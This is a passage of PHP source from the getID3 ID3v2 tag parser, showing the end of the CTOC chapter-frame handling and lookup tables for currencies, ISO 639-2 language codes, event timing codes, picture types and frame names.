					$subframe_rawdata = substr($parsedFrame['data'], $frame_offset, $subframe['size']);
					$frame_offset += $subframe['size'];

					$subframe['encodingid'] = ord(substr($subframe_rawdata, 0, 1));
					$subframe['text']       =     substr($subframe_rawdata, 1);
					$subframe['encoding']   = $this->TextEncodingNameLookup($subframe['encodingid']);
					$encoding_converted_text = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe['text']));;
					switch (substr($encoding_converted_text, 0, 2)) {
						case "\xFF\xFE":
						case "\xFE\xFF":
							switch (strtoupper($info['id3v2']['encoding'])) {
								case 'ISO-8859-1':
								case 'UTF-8':
									$encoding_converted_text = substr($encoding_converted_text, 2);
									// remove unwanted byte-order-marks
									break;
								default:
									// ignore
									break;
							}
							break;
						default:
							// do not remove BOM
							break;
					}

					if (($subframe['name'] == 'TIT2') || ($subframe['name'] == 'TIT3')) {
						if ($subframe['name'] == 'TIT2') {
							$parsedFrame['toc_name']        = $encoding_converted_text;
						} elseif ($subframe['name'] == 'TIT3') {
							$parsedFrame['toc_description'] = $encoding_converted_text;
						}
						$parsedFrame['subframes'][] = $subframe;
					} else {
						$this->warning('ID3v2.CTOC subframe "'.$subframe['name'].'" not handled (only TIT2 and TIT3)');
					}
				}
				unset($subframe_rawdata, $subframe, $encoding_converted_text);
			}

		}

		return true;
	}

	/**
	 * @param string $data
	 *
	 * @return string
	 */
	public function DeUnsynchronise($data) {
		return str_replace("\xFF\x00", "\xFF", $data);
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public function LookupExtendedHeaderRestrictionsTagSizeLimits($index) {
		static $LookupExtendedHeaderRestrictionsTagSizeLimits = array(
			0x00 => 'No more than 128 frames and 1 MB total tag size',
			0x01 => 'No more than 64 frames and 128 KB total tag size',
			0x02 => 'No more than 32 frames and 40 KB total tag size',
			0x03 => 'No more than 32 frames and 4 KB total tag size',
		);
		return (isset($LookupExtendedHeaderRestrictionsTagSizeLimits[$index]) ? $LookupExtendedHeaderRestrictionsTagSizeLimits[$index] : '');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public function LookupExtendedHeaderRestrictionsTextEncodings($index) {
		static $LookupExtendedHeaderRestrictionsTextEncodings = array(
			0x00 => 'No restrictions',
			0x01 => 'Strings are only encoded with ISO-8859-1 or UTF-8',
		);
		return (isset($LookupExtendedHeaderRestrictionsTextEncodings[$index]) ? $LookupExtendedHeaderRestrictionsTextEncodings[$index] : '');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public function LookupExtendedHeaderRestrictionsTextFieldSize($index) {
		static $LookupExtendedHeaderRestrictionsTextFieldSize = array(
			0x00 => 'No restrictions',
			0x01 => 'No string is longer than 1024 characters',
			0x02 => 'No string is longer than 128 characters',
			0x03 => 'No string is longer than 30 characters',
		);
		return (isset($LookupExtendedHeaderRestrictionsTextFieldSize[$index]) ? $LookupExtendedHeaderRestrictionsTextFieldSize[$index] : '');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public function LookupExtendedHeaderRestrictionsImageEncoding($index) {
		static $LookupExtendedHeaderRestrictionsImageEncoding = array(
			0x00 => 'No restrictions',
			0x01 => 'Images are encoded only with PNG or JPEG',
		);
		return (isset($LookupExtendedHeaderRestrictionsImageEncoding[$index]) ? $LookupExtendedHeaderRestrictionsImageEncoding[$index] : '');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public function LookupExtendedHeaderRestrictionsImageSizeSize($index) {
		static $LookupExtendedHeaderRestrictionsImageSizeSize = array(
			0x00 => 'No restrictions',
			0x01 => 'All images are 256x256 pixels or smaller',
			0x02 => 'All images are 64x64 pixels or smaller',
			0x03 => 'All images are exactly 64x64 pixels, unless required otherwise',
		);
		return (isset($LookupExtendedHeaderRestrictionsImageSizeSize[$index]) ? $LookupExtendedHeaderRestrictionsImageSizeSize[$index] : '');
	}

	/**
	 * @param string $currencyid
	 *
	 * @return string
	 */
	public function LookupCurrencyUnits($currencyid) {

		$begin = __LINE__;

		/** This is not a comment!


			AED	Dirhams
			AFA	Afghanis
			ALL	Leke
			AMD	Drams
			ANG	Guilders
			AOA	Kwanza
			ARS	Pesos
			ATS	Schillings
			AUD	Dollars
			AWG	Guilders
			AZM	Manats
			BAM	Convertible Marka
			BBD	Dollars
			BDT	Taka
			BEF	Francs
			BGL	Leva
			BHD	Dinars
			BIF	Francs
			BMD	Dollars
			BND	Dollars
			BOB	Bolivianos
			BRL	Brazil Real
			BSD	Dollars
			BTN	Ngultrum
			BWP	Pulas
			BYR	Rubles
			BZD	Dollars
			CAD	Dollars
			CDF	Congolese Francs
			CHF	Francs
			CLP	Pesos
			CNY	Yuan Renminbi
			COP	Pesos
			CRC	Colones
			CUP	Pesos
			CVE	Escudos
			CYP	Pounds
			CZK	Koruny
			DEM	Deutsche Marks
			DJF	Francs
			DKK	Kroner
			DOP	Pesos
			DZD	Algeria Dinars
			EEK	Krooni
			EGP	Pounds
			ERN	Nakfa
			ESP	Pesetas
			ETB	Birr
			EUR	Euro
			FIM	Markkaa
			FJD	Dollars
			FKP	Pounds
			FRF	Francs
			GBP	Pounds
			GEL	Lari
			GGP	Pounds
			GHC	Cedis
			GIP	Pounds
			GMD	Dalasi
			GNF	Francs
			GRD	Drachmae
			GTQ	Quetzales
			GYD	Dollars
			HKD	Dollars
			HNL	Lempiras
			HRK	Kuna
			HTG	Gourdes
			HUF	Forints
			IDR	Rupiahs
			IEP	Pounds
			ILS	New Shekels
			IMP	Pounds
			INR	Rupees
			IQD	Dinars
			IRR	Rials
			ISK	Kronur
			ITL	Lire
			JEP	Pounds
			JMD	Dollars
			JOD	Dinars
			JPY	Yen
			KES	Shillings
			KGS	Soms
			KHR	Riels
			KMF	Francs
			KPW	Won
			KWD	Dinars
			KYD	Dollars
			KZT	Tenge
			LAK	Kips
			LBP	Pounds
			LKR	Rupees
			LRD	Dollars
			LSL	Maloti
			LTL	Litai
			LUF	Francs
			LVL	Lati
			LYD	Dinars
			MAD	Dirhams
			MDL	Lei
			MGF	Malagasy Francs
			MKD	Denars
			MMK	Kyats
			MNT	Tugriks
			MOP	Patacas
			MRO	Ouguiyas
			MTL	Liri
			MUR	Rupees
			MVR	Rufiyaa
			MWK	Kwachas
			MXN	Pesos
			MYR	Ringgits
			MZM	Meticais
			NAD	Dollars
			NGN	Nairas
			NIO	Gold Cordobas
			NLG	Guilders
			NOK	Krone
			NPR	Nepal Rupees
			NZD	Dollars
			OMR	Rials
			PAB	Balboa
			PEN	Nuevos Soles
			PGK	Kina
			PHP	Pesos
			PKR	Rupees
			PLN	Zlotych
			PTE	Escudos
			PYG	Guarani
			QAR	Rials
			ROL	Lei
			RUR	Rubles
			RWF	Rwanda Francs
			SAR	Riyals
			SBD	Dollars
			SCR	Rupees
			SDD	Dinars
			SEK	Kronor
			SGD	Dollars
			SHP	Pounds
			SIT	Tolars
			SKK	Koruny
			SLL	Leones
			SOS	Shillings
			SPL	Luigini
			SRG	Guilders
			STD	Dobras
			SVC	Colones
			SYP	Pounds
			SZL	Emalangeni
			THB	Baht
			TJR	Rubles
			TMM	Manats
			TND	Dinars
			TOP	Pa'anga
			TRL	Liras (old)
			TRY	Liras
			TTD	Dollars
			TVD	Tuvalu Dollars
			TWD	New Dollars
			TZS	Shillings
			UAH	Hryvnia
			UGX	Shillings
			USD	Dollars
			UYU	Pesos
			UZS	Sums
			VAL	Lire
			VEB	Bolivares
			VND	Dong
			VUV	Vatu
			WST	Tala
			XAF	Francs
			XAG	Ounces
			XAU	Ounces
			XCD	Dollars
			XDR	Special Drawing Rights
			XPD	Ounces
			XPF	Francs
			XPT	Ounces
			YER	Rials
			YUM	New Dinars
			ZAR	Rand
			ZMK	Kwacha
			ZWD	Zimbabwe Dollars

		*/

		return getid3_lib::EmbeddedLookup($currencyid, $begin, __LINE__, __FILE__, 'id3v2-currency-units');
	}

	/**
	 * @param string $currencyid
	 *
	 * @return string
	 */
	public function LookupCurrencyCountry($currencyid) {

		$begin = __LINE__;

		/** This is not a comment!

			AED	United Arab Emirates
			AFA	Afghanistan
			ALL	Albania
			AMD	Armenia
			ANG	Netherlands Antilles
			AOA	Angola
			ARS	Argentina
			ATS	Austria
			AUD	Australia
			AWG	Aruba
			AZM	Azerbaijan
			BAM	Bosnia and Herzegovina
			BBD	Barbados
			BDT	Bangladesh
			BEF	Belgium
			BGL	Bulgaria
			BHD	Bahrain
			BIF	Burundi
			BMD	Bermuda
			BND	Brunei Darussalam
			BOB	Bolivia
			BRL	Brazil
			BSD	Bahamas
			BTN	Bhutan
			BWP	Botswana
			BYR	Belarus
			BZD	Belize
			CAD	Canada
			CDF	Congo/Kinshasa
			CHF	Switzerland
			CLP	Chile
			CNY	China
			COP	Colombia
			CRC	Costa Rica
			CUP	Cuba
			CVE	Cape Verde
			CYP	Cyprus
			CZK	Czech Republic
			DEM	Germany
			DJF	Djibouti
			DKK	Denmark
			DOP	Dominican Republic
			DZD	Algeria
			EEK	Estonia
			EGP	Egypt
			ERN	Eritrea
			ESP	Spain
			ETB	Ethiopia
			EUR	Euro Member Countries
			FIM	Finland
			FJD	Fiji
			FKP	Falkland Islands (Malvinas)
			FRF	France
			GBP	United Kingdom
			GEL	Georgia
			GGP	Guernsey
			GHC	Ghana
			GIP	Gibraltar
			GMD	Gambia
			GNF	Guinea
			GRD	Greece
			GTQ	Guatemala
			GYD	Guyana
			HKD	Hong Kong
			HNL	Honduras
			HRK	Croatia
			HTG	Haiti
			HUF	Hungary
			IDR	Indonesia
			IEP	Ireland (Eire)
			ILS	Israel
			IMP	Isle of Man
			INR	India
			IQD	Iraq
			IRR	Iran
			ISK	Iceland
			ITL	Italy
			JEP	Jersey
			JMD	Jamaica
			JOD	Jordan
			JPY	Japan
			KES	Kenya
			KGS	Kyrgyzstan
			KHR	Cambodia
			KMF	Comoros
			KPW	Korea
			KWD	Kuwait
			KYD	Cayman Islands
			KZT	Kazakstan
			LAK	Laos
			LBP	Lebanon
			LKR	Sri Lanka
			LRD	Liberia
			LSL	Lesotho
			LTL	Lithuania
			LUF	Luxembourg
			LVL	Latvia
			LYD	Libya
			MAD	Morocco
			MDL	Moldova
			MGF	Madagascar
			MKD	Macedonia
			MMK	Myanmar (Burma)
			MNT	Mongolia
			MOP	Macau
			MRO	Mauritania
			MTL	Malta
			MUR	Mauritius
			MVR	Maldives (Maldive Islands)
			MWK	Malawi
			MXN	Mexico
			MYR	Malaysia
			MZM	Mozambique
			NAD	Namibia
			NGN	Nigeria
			NIO	Nicaragua
			NLG	Netherlands (Holland)
			NOK	Norway
			NPR	Nepal
			NZD	New Zealand
			OMR	Oman
			PAB	Panama
			PEN	Peru
			PGK	Papua New Guinea
			PHP	Philippines
			PKR	Pakistan
			PLN	Poland
			PTE	Portugal
			PYG	Paraguay
			QAR	Qatar
			ROL	Romania
			RUR	Russia
			RWF	Rwanda
			SAR	Saudi Arabia
			SBD	Solomon Islands
			SCR	Seychelles
			SDD	Sudan
			SEK	Sweden
			SGD	Singapore
			SHP	Saint Helena
			SIT	Slovenia
			SKK	Slovakia
			SLL	Sierra Leone
			SOS	Somalia
			SPL	Seborga
			SRG	Suriname
			STD	São Tome and Principe
			SVC	El Salvador
			SYP	Syria
			SZL	Swaziland
			THB	Thailand
			TJR	Tajikistan
			TMM	Turkmenistan
			TND	Tunisia
			TOP	Tonga
			TRL	Turkey
			TRY	Turkey
			TTD	Trinidad and Tobago
			TVD	Tuvalu
			TWD	Taiwan
			TZS	Tanzania
			UAH	Ukraine
			UGX	Uganda
			USD	United States of America
			UYU	Uruguay
			UZS	Uzbekistan
			VAL	Vatican City
			VEB	Venezuela
			VND	Viet Nam
			VUV	Vanuatu
			WST	Samoa
			XAF	Communauté Financière Africaine
			XAG	Silver
			XAU	Gold
			XCD	East Caribbean
			XDR	International Monetary Fund
			XPD	Palladium
			XPF	Comptoirs Français du Pacifique
			XPT	Platinum
			YER	Yemen
			YUM	Yugoslavia
			ZAR	South Africa
			ZMK	Zambia
			ZWD	Zimbabwe

		*/

		return getid3_lib::EmbeddedLookup($currencyid, $begin, __LINE__, __FILE__, 'id3v2-currency-country');
	}

	/**
	 * @param string $languagecode
	 * @param bool   $casesensitive
	 *
	 * @return string
	 */
	public static function LanguageLookup($languagecode, $casesensitive=false) {

		if (!$casesensitive) {
			$languagecode = strtolower($languagecode);
		}

		// http://www.id3.org/id3v2.4.0-structure.txt
		// [4.   ID3v2 frame overview]
		// The three byte language field, present in several frames, is used to
		// describe the language of the frame's content, according to ISO-639-2
		// [ISO-639-2]. The language should be represented in lower case. If the
		// language is not known the string "XXX" should be used.


		// ISO 639-2 - http://www.id3.org/iso639-2.html

		$begin = __LINE__;

		/** This is not a comment!

			XXX	unknown
			xxx	unknown
			aar	Afar
			abk	Abkhazian
			ace	Achinese
			ach	Acoli
			ada	Adangme
			afa	Afro-Asiatic (Other)
			afh	Afrihili
			afr	Afrikaans
			aka	Akan
			akk	Akkadian
			alb	Albanian
			ale	Aleut
			alg	Algonquian Languages
			amh	Amharic
			ang	English, Old (ca. 450-1100)
			apa	Apache Languages
			ara	Arabic
			arc	Aramaic
			arm	Armenian
			arn	Araucanian
			arp	Arapaho
			art	Artificial (Other)
			arw	Arawak
			asm	Assamese
			ath	Athapascan Languages
			ava	Avaric
			ave	Avestan
			awa	Awadhi
			aym	Aymara
			aze	Azerbaijani
			bad	Banda
			bai	Bamileke Languages
			bak	Bashkir
			bal	Baluchi
			bam	Bambara
			ban	Balinese
			baq	Basque
			bas	Basa
			bat	Baltic (Other)
			bej	Beja
			bel	Byelorussian
			bem	Bemba
			ben	Bengali
			ber	Berber (Other)
			bho	Bhojpuri
			bih	Bihari
			bik	Bikol
			bin	Bini
			bis	Bislama
			bla	Siksika
			bnt	Bantu (Other)
			bod	Tibetan
			bra	Braj
			bre	Breton
			bua	Buriat
			bug	Buginese
			bul	Bulgarian
			bur	Burmese
			cad	Caddo
			cai	Central American Indian (Other)
			car	Carib
			cat	Catalan
			cau	Caucasian (Other)
			ceb	Cebuano
			cel	Celtic (Other)
			ces	Czech
			cha	Chamorro
			chb	Chibcha
			che	Chechen
			chg	Chagatai
			chi	Chinese
			chm	Mari
			chn	Chinook jargon
			cho	Choctaw
			chr	Cherokee
			chu	Church Slavic
			chv	Chuvash
			chy	Cheyenne
			cop	Coptic
			cor	Cornish
			cos	Corsican
			cpe	Creoles and Pidgins, English-based (Other)
			cpf	Creoles and Pidgins, French-based (Other)
			cpp	Creoles and Pidgins, Portuguese-based (Other)
			cre	Cree
			crp	Creoles and Pidgins (Other)
			cus	Cushitic (Other)
			cym	Welsh
			cze	Czech
			dak	Dakota
			dan	Danish
			del	Delaware
			deu	German
			din	Dinka
			div	Divehi
			doi	Dogri
			dra	Dravidian (Other)
			dua	Duala
			dum	Dutch, Middle (ca. 1050-1350)
			dut	Dutch
			dyu	Dyula
			dzo	Dzongkha
			efi	Efik
			egy	Egyptian (Ancient)
			eka	Ekajuk
			ell	Greek, Modern (1453-)
			elx	Elamite
			eng	English
			enm	English, Middle (ca. 1100-1500)
			epo	Esperanto
			esk	Eskimo (Other)
			esl	Spanish
			est	Estonian
			eus	Basque
			ewe	Ewe
			ewo	Ewondo
			fan	Fang
			fao	Faroese
			fas	Persian
			fat	Fanti
			fij	Fijian
			fin	Finnish
			fiu	Finno-Ugrian (Other)
			fon	Fon
			fra	French
			fre	French
			frm	French, Middle (ca. 1400-1600)
			fro	French, Old (842- ca. 1400)
			fry	Frisian
			ful	Fulah
			gaa	Ga
			gae	Gaelic (Scots)
			gai	Irish
			gay	Gayo
			gdh	Gaelic (Scots)
			gem	Germanic (Other)
			geo	Georgian
			ger	German
			gez	Geez
			gil	Gilbertese
			glg	Gallegan
			gmh	German, Middle High (ca. 1050-1500)
			goh	German, Old High (ca. 750-1050)
			gon	Gondi
			got	Gothic
			grb	Grebo
			grc	Greek, Ancient (to 1453)
			gre	Greek, Modern (1453-)
			grn	Guarani
			guj	Gujarati
			hai	Haida
			hau	Hausa
			haw	Hawaiian
			heb	Hebrew
			her	Herero
			hil	Hiligaynon
			him	Himachali
			hin	Hindi
			hmo	Hiri Motu
			hun	Hungarian
			hup	Hupa
			hye	Armenian
			iba	Iban
			ibo	Igbo
			ice	Icelandic
			ijo	Ijo
			iku	Inuktitut
			ilo	Iloko
			ina	Interlingua (International Auxiliary language Association)
			inc	Indic (Other)
			ind	Indonesian
			ine	Indo-European (Other)
			ine	Interlingue
			ipk	Inupiak
			ira	Iranian (Other)
			iri	Irish
			iro	Iroquoian uages
			isl	Icelandic
			ita	Italian
			jav	Javanese
			jaw	Javanese
			jpn	Japanese
			jpr	Judeo-Persian
			jrb	Judeo-Arabic
			kaa	Kara-Kalpak
			kab	Kabyle
			kac	Kachin
			kal	Greenlandic
			kam	Kamba
			kan	Kannada
			kar	Karen
			kas	Kashmiri
			kat	Georgian
			kau	Kanuri
			kaw	Kawi
			kaz	Kazakh
			kha	Khasi
			khi	Khoisan (Other)
			khm	Khmer
			kho	Khotanese
			kik	Kikuyu
			kin	Kinyarwanda
			kir	Kirghiz
			kok	Konkani
			kom	Komi
			kon	Kongo
			kor	Korean
			kpe	Kpelle
			kro	Kru
			kru	Kurukh
			kua	Kuanyama
			kum	Kumyk
			kur	Kurdish
			kus	Kusaie
			kut	Kutenai
			lad	Ladino
			lah	Lahnda
			lam	Lamba
			lao	Lao
			lat	Latin
			lav	Latvian
			lez	Lezghian
			lin	Lingala
			lit	Lithuanian
			lol	Mongo
			loz	Lozi
			ltz	Letzeburgesch
			lub	Luba-Katanga
			lug	Ganda
			lui	Luiseno
			lun	Lunda
			luo	Luo (Kenya and Tanzania)
			mac	Macedonian
			mad	Madurese
			mag	Magahi
			mah	Marshall
			mai	Maithili
			mak	Macedonian
			mak	Makasar
			mal	Malayalam
			man	Mandingo
			mao	Maori
			map	Austronesian (Other)
			mar	Marathi
			mas	Masai
			max	Manx
			may	Malay
			men	Mende
			mga	Irish, Middle (900 - 1200)
			mic	Micmac
			min	Minangkabau
			mis	Miscellaneous (Other)
			mkh	Mon-Kmer (Other)
			mlg	Malagasy
			mlt	Maltese
			mni	Manipuri
			mno	Manobo Languages
			moh	Mohawk
			mol	Moldavian
			mon	Mongolian
			mos	Mossi
			mri	Maori
			msa	Malay
			mul	Multiple Languages
			mun	Munda Languages
			mus	Creek
			mwr	Marwari
			mya	Burmese
			myn	Mayan Languages
			nah	Aztec
			nai	North American Indian (Other)
			nau	Nauru
			nav	Navajo
			nbl	Ndebele, South
			nde	Ndebele, North
			ndo	Ndongo
			nep	Nepali
			new	Newari
			nic	Niger-Kordofanian (Other)
			niu	Niuean
			nla	Dutch
			nno	Norwegian (Nynorsk)
			non	Norse, Old
			nor	Norwegian
			nso	Sotho, Northern
			nub	Nubian Languages
			nya	Nyanja
			nym	Nyamwezi
			nyn	Nyankole
			nyo	Nyoro
			nzi	Nzima
			oci	Langue d'Oc (post 1500)
			oji	Ojibwa
			ori	Oriya
			orm	Oromo
			osa	Osage
			oss	Ossetic
			ota	Turkish, Ottoman (1500 - 1928)
			oto	Otomian Languages
			paa	Papuan-Australian (Other)
			pag	Pangasinan
			pal	Pahlavi
			pam	Pampanga
			pan	Panjabi
			pap	Papiamento
			pau	Palauan
			peo	Persian, Old (ca 600 - 400 B.C.)
			per	Persian
			phn	Phoenician
			pli	Pali
			pol	Polish
			pon	Ponape
			por	Portuguese
			pra	Prakrit uages
			pro	Provencal, Old (to 1500)
			pus	Pushto
			que	Quechua
			raj	Rajasthani
			rar	Rarotongan
			roa	Romance (Other)
			roh	Rhaeto-Romance
			rom	Romany
			ron	Romanian
			rum	Romanian
			run	Rundi
			rus	Russian
			sad	Sandawe
			sag	Sango
			sah	Yakut
			sai	South American Indian (Other)
			sal	Salishan Languages
			sam	Samaritan Aramaic
			san	Sanskrit
			sco	Scots
			scr	Serbo-Croatian
			sel	Selkup
			sem	Semitic (Other)
			sga	Irish, Old (to 900)
			shn	Shan
			sid	Sidamo
			sin	Singhalese
			sio	Siouan Languages
			sit	Sino-Tibetan (Other)
			sla	Slavic (Other)
			slk	Slovak
			slo	Slovak
			slv	Slovenian
			smi	Sami Languages
			smo	Samoan
			sna	Shona
			snd	Sindhi
			sog	Sogdian
			som	Somali
			son	Songhai
			sot	Sotho, Southern
			spa	Spanish
			sqi	Albanian
			srd	Sardinian
			srr	Serer
			ssa	Nilo-Saharan (Other)
			ssw	Siswant
			ssw	Swazi
			suk	Sukuma
			sun	Sudanese
			sus	Susu
			sux	Sumerian
			sve	Swedish
			swa	Swahili
			swe	Swedish
			syr	Syriac
			tah	Tahitian
			tam	Tamil
			tat	Tatar
			tel	Telugu
			tem	Timne
			ter	Tereno
			tgk	Tajik
			tgl	Tagalog
			tha	Thai
			tib	Tibetan
			tig	Tigre
			tir	Tigrinya
			tiv	Tivi
			tli	Tlingit
			tmh	Tamashek
			tog	Tonga (Nyasa)
			ton	Tonga (Tonga Islands)
			tru	Truk
			tsi	Tsimshian
			tsn	Tswana
			tso	Tsonga
			tuk	Turkmen
			tum	Tumbuka
			tur	Turkish
			tut	Altaic (Other)
			twi	Twi
			tyv	Tuvinian
			uga	Ugaritic
			uig	Uighur
			ukr	Ukrainian
			umb	Umbundu
			und	Undetermined
			urd	Urdu
			uzb	Uzbek
			vai	Vai
			ven	Venda
			vie	Vietnamese
			vol	Volapük
			vot	Votic
			wak	Wakashan Languages
			wal	Walamo
			war	Waray
			was	Washo
			wel	Welsh
			wen	Sorbian Languages
			wol	Wolof
			xho	Xhosa
			yao	Yao
			yap	Yap
			yid	Yiddish
			yor	Yoruba
			zap	Zapotec
			zen	Zenaga
			zha	Zhuang
			zho	Chinese
			zul	Zulu
			zun	Zuni

		*/

		return getid3_lib::EmbeddedLookup($languagecode, $begin, __LINE__, __FILE__, 'id3v2-languagecode');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public static function ETCOEventLookup($index) {
		if (($index >= 0x17) && ($index <= 0xDF)) {
			return 'reserved for future use';
		}
		if (($index >= 0xE0) && ($index <= 0xEF)) {
			return 'not predefined synch 0-F';
		}
		if (($index >= 0xF0) && ($index <= 0xFC)) {
			return 'reserved for future use';
		}

		static $EventLookup = array(
			0x00 => 'padding (has no meaning)',
			0x01 => 'end of initial silence',
			0x02 => 'intro start',
			0x03 => 'main part start',
			0x04 => 'outro start',
			0x05 => 'outro end',
			0x06 => 'verse start',
			0x07 => 'refrain start',
			0x08 => 'interlude start',
			0x09 => 'theme start',
			0x0A => 'variation start',
			0x0B => 'key change',
			0x0C => 'time change',
			0x0D => 'momentary unwanted noise (Snap, Crackle & Pop)',
			0x0E => 'sustained noise',
			0x0F => 'sustained noise end',
			0x10 => 'intro end',
			0x11 => 'main part end',
			0x12 => 'verse end',
			0x13 => 'refrain end',
			0x14 => 'theme end',
			0x15 => 'profanity',
			0x16 => 'profanity end',
			0xFD => 'audio end (start of silence)',
			0xFE => 'audio file ends',
			0xFF => 'one more byte of events follows'
		);

		return (isset($EventLookup[$index]) ? $EventLookup[$index] : '');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public static function SYTLContentTypeLookup($index) {
		static $SYTLContentTypeLookup = array(
			0x00 => 'other',
			0x01 => 'lyrics',
			0x02 => 'text transcription',
			0x03 => 'movement/part name', // (e.g. 'Adagio')
			0x04 => 'events',             // (e.g. 'Don Quijote enters the stage')
			0x05 => 'chord',              // (e.g. 'Bb F Fsus')
			0x06 => 'trivia/\'pop up\' information',
			0x07 => 'URLs to webpages',
			0x08 => 'URLs to images'
		);

		return (isset($SYTLContentTypeLookup[$index]) ? $SYTLContentTypeLookup[$index] : '');
	}

	/**
	 * @param int   $index
	 * @param bool $returnarray
	 *
	 * @return array|string
	 */
	public static function APICPictureTypeLookup($index, $returnarray=false) {
		static $APICPictureTypeLookup = array(
			0x00 => 'Other',
			0x01 => '32x32 pixels \'file icon\' (PNG only)',
			0x02 => 'Other file icon',
			0x03 => 'Cover (front)',
			0x04 => 'Cover (back)',
			0x05 => 'Leaflet page',
			0x06 => 'Media (e.g. label side of CD)',
			0x07 => 'Lead artist/lead performer/soloist',
			0x08 => 'Artist/performer',
			0x09 => 'Conductor',
			0x0A => 'Band/Orchestra',
			0x0B => 'Composer',
			0x0C => 'Lyricist/text writer',
			0x0D => 'Recording Location',
			0x0E => 'During recording',
			0x0F => 'During performance',
			0x10 => 'Movie/video screen capture',
			0x11 => 'A bright coloured fish',
			0x12 => 'Illustration',
			0x13 => 'Band/artist logotype',
			0x14 => 'Publisher/Studio logotype'
		);
		if ($returnarray) {
			return $APICPictureTypeLookup;
		}
		return (isset($APICPictureTypeLookup[$index]) ? $APICPictureTypeLookup[$index] : '');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public static function COMRReceivedAsLookup($index) {
		static $COMRReceivedAsLookup = array(
			0x00 => 'Other',
			0x01 => 'Standard CD album with other songs',
			0x02 => 'Compressed audio on CD',
			0x03 => 'File over the Internet',
			0x04 => 'Stream over the Internet',
			0x05 => 'As note sheets',
			0x06 => 'As note sheets in a book with other sheets',
			0x07 => 'Music on other media',
			0x08 => 'Non-musical merchandise'
		);

		return (isset($COMRReceivedAsLookup[$index]) ? $COMRReceivedAsLookup[$index] : '');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public static function RVA2ChannelTypeLookup($index) {
		static $RVA2ChannelTypeLookup = array(
			0x00 => 'Other',
			0x01 => 'Master volume',
			0x02 => 'Front right',
			0x03 => 'Front left',
			0x04 => 'Back right',
			0x05 => 'Back left',
			0x06 => 'Front centre',
			0x07 => 'Back centre',
			0x08 => 'Subwoofer'
		);

		return (isset($RVA2ChannelTypeLookup[$index]) ? $RVA2ChannelTypeLookup[$index] : '');
	}

	/**
	 * @param string $framename
	 *
	 * @return string
	 */
	public static function FrameNameLongLookup($framename) {

		$begin = __LINE__;

		/** This is not a comment!

			AENC	Audio encryption
			APIC	Attached picture
			ASPI	Audio seek point index
			BUF	Recommended buffer size
			CNT	Play counter
			COM	Comments
			COMM	Comments
			COMR	Commercial frame
			CRA	Audio encryption
			CRM	Encrypted meta frame
			ENCR	Encryption method registration
			EQU	Equalisation
			EQU2	Equalisation (2)
			EQUA	Equalisation
			ETC	Event timing codes
			ETCO	Event timing codes
			GEO	General encapsulated object
			GEOB	General encapsulated object
			GRID	Group identification registration
			IPL	Involved people list
			IPLS	Involved people list
			LINK	Linked information
			LNK	Linked information
			MCDI	Music CD identifier
			MCI	Music CD Identifier
			MLL	MPEG location lookup table
			MLLT	MPEG location lookup table
			OWNE	Ownership frame
			PCNT	Play counter
			PIC	Attached picture
			POP	Popularimeter
			POPM	Popularimeter
			POSS	Position synchronisation frame
			PRIV	Private frame
			RBUF	Recommended buffer size
			REV	Reverb
			RVA	Relative volume adjustment
			RVA2	Relative volume adjustment (2)
			RVAD	Relative volume adjustment
			RVRB	Reverb
			SEEK	Seek frame
			SIGN	Signature frame
			SLT	Synchronised lyric/text
			STC	Synced tempo codes
			SYLT	Synchronised lyric/text
			SYTC	Synchronised tempo codes
			TAL	Album/Movie/Show title
			TALB	Album/Movie/Show title
			TBP	BPM (Beats Per Minute)
			TBPM	BPM (beats per minute)
			TCM	Composer
			TCMP	Part of a compilation
			TCO	Content type
			TCOM	Composer
			TCON	Content type
			TCOP	Copyright message
			TCP	Part of a compilation
			TCR	Copyright message
			TDA	Date
			TDAT	Date
			TDEN	Encoding time
			TDLY	Playlist delay
			TDOR	Original release time
			TDRC	Recording time
			TDRL	Release time
			TDTG	Tagging time
			TDY	Playlist delay
			TEN	Encoded by
			TENC	Encoded by
			TEXT	Lyricist/Text writer
			TFLT	File type
			TFT	File type
			TIM	Time
			TIME	Time
			TIPL	Involved people list
			TIT1	Content group description
			TIT2	Title/songname/content description
			TIT3	Subtitle/Description refinement
			TKE	Initial key
			TKEY	Initial key
			TLA	Language(s)
			TLAN	Language(s)
			TLE	Length
			TLEN	Length
			TMCL	Musician credits list
			TMED	Media type
			TMOO	Mood
			TMT	Media type
			TOA	Original artist(s)/performer(s)
			TOAL	Original album/movie/show title
			TOF	Original filename
			TOFN	Original filename
			TOL	Original Lyricist(s)/text writer(s)
			TOLY	Original lyricist(s)/text writer(s)
			TOPE	Original artist(s)/performer(s)
			TOR	Original release year
			TORY	Original release year
			TOT	Original album/Movie/Show title
			TOWN	File owner/licensee
			TP1	Lead artist(s)/Lead performer(s)/Soloist(s)/Performing group
			TP2	Band/Orchestra/Accompaniment
			TP3	Conductor/Performer refinement
			TP4	Interpreted, remixed, or otherwise modified by
			TPA	Part of a set
			TPB	Publisher
			TPE1	Lead performer(s)/Soloist(s)
			TPE2	Band/orchestra/accompaniment
			TPE3	Conductor/performer refinement
			TPE4	Interpreted, remixed, or otherwise modified by
			TPOS	Part of a set
			TPRO	Produced notice
			TPUB	Publisher
			TRC	ISRC (International Standard Recording Code)
			TRCK	Track number/Position in set
			TRD	Recording dates
			TRDA	Recording dates
			TRK	Track number/Position in set
			TRSN	Internet radio station name
			TRSO	Internet radio station owner
			TS2	Album-Artist sort order
			TSA	Album sort order
			TSC	Composer sort order
			TSI	Size
			TSIZ	Size
			TSO2	Album-Artist sort order
			TSOA	Album sort order
			TSOC	Composer sort order
			TSOP	Performer sort order
			TSOT	Title sort order
			TSP	Performer sort order
			TSRC	ISRC (international standard recording code)
			TSS	Software/hardware and settings used for encoding
			TSSE	Software/Hardware and settings used for encoding
			TSST	Set subtitle
			TST	Title sort order
			TT1	Content group description
			TT2	Title/Songname/Content description
			TT3	Subtitle/Description refinement
			TXT	Lyricist/text writer
			TXX	User defined text information frame
			TXXX	User defined text information frame
			TYE	Year
			TYER	Year
			UFI	Unique file identifier
